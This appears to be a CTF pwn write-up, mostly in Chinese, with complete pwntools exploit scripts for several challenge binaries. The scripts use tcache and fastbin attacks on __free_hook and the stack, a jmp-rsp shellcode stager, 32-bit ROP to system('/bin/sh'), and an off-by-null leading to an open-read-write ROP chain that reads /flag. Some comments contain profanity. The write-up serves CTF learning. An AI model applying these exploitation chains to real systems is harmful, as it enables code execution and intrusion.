from pwn import *
r = remote(ip,port)
#r = process('./main')
context.log_level = 'debug'
def menu(choice):
r.recvuntil('storage(1)<')
r.sendline(str(choice))
def add(index,size):
menu(1)
r.recvuntil('index:')
r.sendline(str(index))
r.recvuntil('size:')
r.sendline(str(size))
def edit(index,data):
menu(3)
r.recvuntil('index:')
r.sendline(str(index))
r.recvuntil('data:')
r.sendline(data)
def show(index):
menu(4)
r.recvuntil('index:')
r.sendline(str(index))
def delete(index):
menu(2)
r.recvuntil('index:')
r.sendline(str(index))
def spawn_storage():
r.recvuntil('shell(0)<')
r.sendline('SPAWN')
r.recvuntil('Enter process name:')
r.sendline('storage')
r.sendline('EXIT')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
spawn_storage()
add(1,0x500)
add(2,0x500)
delete(1)
add(3,0x500)
show(3)
r.recvuntil('> ')
leak = u64(r.recv(8))
libc_base = leak-0x3ebca0
log.success(hex(leak))
log.success(hex(libc_base))
add(0,0x60)
add(1,0x60)
delete(1)
delete(0)
edit(0,'a'*0x60)
delete(0)
free_hook = libc.sym['__free_hook'] + libc_base
system = libc.sym['system'] + libc_base
edit(0,p64(free_hook))
add(4,0x60)
add(5,0x60)
edit(5,p64(system))
add(6,0x70)
edit(6,'/bin/sh')
delete(6)#fuck you
#log.success(str(r.pid))
r.interactive()
利用 admin 的栈溢出,将返回地址覆盖为 jmp rsp
的地址。后面紧跟一段 shellcode。由于 shellcode 只能写 8 字节,考虑用 read 获得再次输入机会。在栈溢出时, rsi 已经设为栈地址,rdi 已经设为 0,只需设置 rax 和 rdx 即可。其中 r11 为 0x246,可以传给 rdx。
In [12]: len(asm("push r11;pop rdx;push 0;pop rax;syscall")) <= 8
Out[12]: True
可行。获得 read 后直接写 shellcode 即可。
from pwn import *
#a = process("./nologin")
context.arch = 'amd64'
a.sendlineafter("input>>",str(2))
payload = 'a'*5+p64(0x602800)+p64(0x00000000004016fb)+'ASZj\x00X\x0f\x05'
pause()
a.sendlineafter("password:",payload)
payload = 'a'*0x41+asm(shellcraft.open('/flag')+shellcraft.read(4,'rsp',0x30)+shellcraft.write(1,'rsp',0x30))
pause()
a.sendline(payload)
a.interactive()
32 位栈溢出白给题
有 system 和 /cin/sh,fun2 可以 xor 1 把 /cin/sh 变成 /bin/sh
from pwn import *
#r = process('./BabyRop')
elf = ELF('./BabyRop')
sh = 0x804C024
payload = 'a'*0x28+'a'*4+p32(elf.sym['fun2'])+p32(elf.sym['main'])+p32(1)+p32(sh)
pause()
r.sendline(payload)
payload = 'a'*0x28+'a'*4+p32(elf.sym['fun1'])+p32(elf.sym['main'])+p32(sh)
r.sendline(payload)
r.interactive()
libc2.23 off-by-null。每次申请先申请一个 chunk 放函数指针和数据堆块地址,off-by-null 搞出重叠控制这个 chunk 可以任意地址读写。
有沙箱,先泄露 libc,再泄露 environ,然后打栈 orw
from pwn import *
#r = process('./name',aslr=False)
def menu(choice):
r.recvuntil('5.exit\n')
r.sendline(str(choice))
def add(size):
menu(1)
r.recvuntil('name size:\n')
r.sendline(str(size))
def edit(index,name):
menu(2)
r.recvuntil('index:\n')
r.sendline(str(index))
r.recvuntil('name:\n')
r.send(name)
def show(index):
menu(3)
r.recvuntil('index:\n')
r.sendline(str(index))
def delete(index):
menu(4)
r.recvuntil('index:\n')
r.sendline(str(index))
libc = ELF('./libc.so.6')
add(0xf8)
add(0xf8)
add(0xf8)
add(0xf8)
delete(0)
edit(1,'a'*0xf0+p64(0x200))
delete(2)
add(0xf8)
show(0)
leak = u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = leak - 0x3c4e68
log.success(hex(libc_base))
add(0x10)
add(-1)
add(0xf8)
system = libc_base + libc.sym['system']
puts = libc_base+libc.sym['puts']
environ = libc_base+libc.sym['environ']
binsh = libc_base + libc.search('/bin/sh\x00').next()
edit(1,p64(puts)+p64(environ))
show(4)
stack = u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))
log.success(hex(stack))
edit(1,p64(puts)+p64(stack-0x100))
pop_rdi = libc_base + 0x21112
pop_rsi = libc_base + 0x202f8
pop_rdx = libc_base + 0x1b92
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
open_l = libc_base + libc.sym['open']
libc_bss = libc_base + libc.bss()
flag = libc_bss
payload = p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(flag)+p64(pop_rdx)+p64(0x20)+p64(read)#read
payload += p64(pop_rdi)+p64(flag)+p64(pop_rsi)+p64(0)+p64(open_l)#open
payload += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag+0x10)+p64(pop_rdx)+p64(0x50)+p64(read)#read
payload += p64(pop_rdi)+p64(flag+0x10)+p64(puts)#write
edit(4,payload)
r.sendline('/flag\x00')
r.interactive()
这题打复杂了,直接 free got 就彳亍,但是👴打着很爽。
libc2.23,uaf,堆可执行。把堆指针数组填满再 delete(47),delete 时指针前移操作会出问题,出现多个相同指针,导致 uaf。
size 限制为 0x10,fastbin 有 size 检查,很麻烦,一点一点挪。
uaf 可以轻松泄露堆地址,先把堆地址拿了。在堆上 fastbin attack 把一个 chunk size 改大,造出 unsortedbin。
利用计数器可以在堆指针数组上方造出一个合法 size,fastbin attack 打过去。打一次写不到堆指针数组,利用第一次 fastbin attack 伪造一个 size,再来一次 fastbin attack 就可以控制 index 为 0 的指针。把这个指针写为刚才造的 unsortedbin 就可以泄露 libc。
size 限制为 0x10,mallochook 打不成,同理配合 unsortedbin attack 打 freehook 也不行,考虑往栈上打,先泄露栈地址。
打印时有限制,打印的字节数在 ptr+0x10,不能直接把 index 为 0 的指针写为 environ 泄露栈地址。利用 fastbin attack 修改 unsortedbin 的 bk,字节错位打 environ,在 size 对应的位置写一个 0x7f,再把 environ 写到堆指针数组,就可以打印 environ 泄露栈地址。
得到栈地址后,劫持返回地址到堆上执行短 shellcode: shellcraft.read(0,'rsp',0xff)+';jmp rsp'
,再输入长 shellcode getshell。
fastbin attack 打栈需要字节错位过 size 检查,返回地址上面有 canary,用 canary 字节错位,运气好就打过去了。
from pwn import *
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.arch = 'amd64'
elf = ELF('./how2heap')
def menu(choice):
r.recvuntil('> ')
r.sendline(str(choice))
def add(data):
menu(1)
r.recvuntil('content: ')
r.send(data)
def get(index):
menu(2)
r.recvuntil('id: ')
r.sendline(str(index))
def delete(index):
menu(3)
r.recvuntil('id: ')
r.sendline(str(index))
while(1):
try:
#r = process('./how2heap')
for i in range(49):
add(p64(0x21)*2)
delete(47)
add(p64(0x21)*2)
for i in range(46-20):
delete(0)
delete(1+20)
delete(0+20)
get(0+20)
leak = u64(r.recv(8).ljust(8,'\x00'))
heap_base = leak - 0x320
log.success(hex(leak))
log.success(hex(heap_base))
delete(0+20)
add(p64(heap_base+0x330)*2)
add('fuck')
add('fuck')
add(p64(0)+p64(0xa1))
delete(0)
delete(19)
delete(19)
delete(19)
for i in range(0x21-0x14):
add(p64(heap_base+0x5e0)*2)
add(p64(0x602098)+p64(0))
add('fuck')
add(p64(0)+p64(0x21))
delete(20)
delete(20)
delete(20)
add(p64(0x6020a8)+p64(0))
add('fuck')
add('fuck')
add(2*p64(heap_base+0x350))
get(0)
leak = u64(r.recv(8).ljust(8,'\x00'))
libc_base = leak-0x3c4b78
log.success(hex(leak))
log.success(hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
environ = libc_base + libc.sym['environ']
free_hook = libc_base + libc.sym['__free_hook']
delete(22)
delete(3)
delete(22)
add(p64(heap_base+0x330)+p64(0))
add('fuck')
add('fuck')
add(p64(0x21)+p64(0x21))
delete(24)
delete(3)
delete(24)
add(p64(heap_base+0x340)+p64(0))
add('fuck')
add('fuck')
add(2*p64(environ-5))
log.success(hex(environ))
delete(24)
delete(3)
delete(23)
add(p64(0)+p64(0))
add('fuck')
add('fuck')
add('ubfuck')
delete(24)
delete(3)
delete(24)
add(p64(0x6020a8)+p64(0))
add('fuck')
add('fuck')
add(2*p64(environ))
get(0)
stack = u64(r.recv(8).ljust(8,'\x00'))
log.success(hex(stack))
ret_stack = stack - 0xf0
delete(20)
delete(14)
delete(19)
add(p64(ret_stack-0x10-1)+p64(0))
add('fuck')
nmslwsnd = asm(shellcraft.read(0,'rsp',0xff)+';jmp rsp')
add(nmslwsnd)
add('a'+p64(heap_base+0x5f0))
menu(4)
nmslwsnd = asm(shellcraft.sh())
r.send(nmslwsnd)
r.interactive()
# add(2*p64(heap_base+0x350))
# r.interactive()
except:
r.close()
continue
本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议(CC BY-NC-ND 4.0)进行许可。
This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).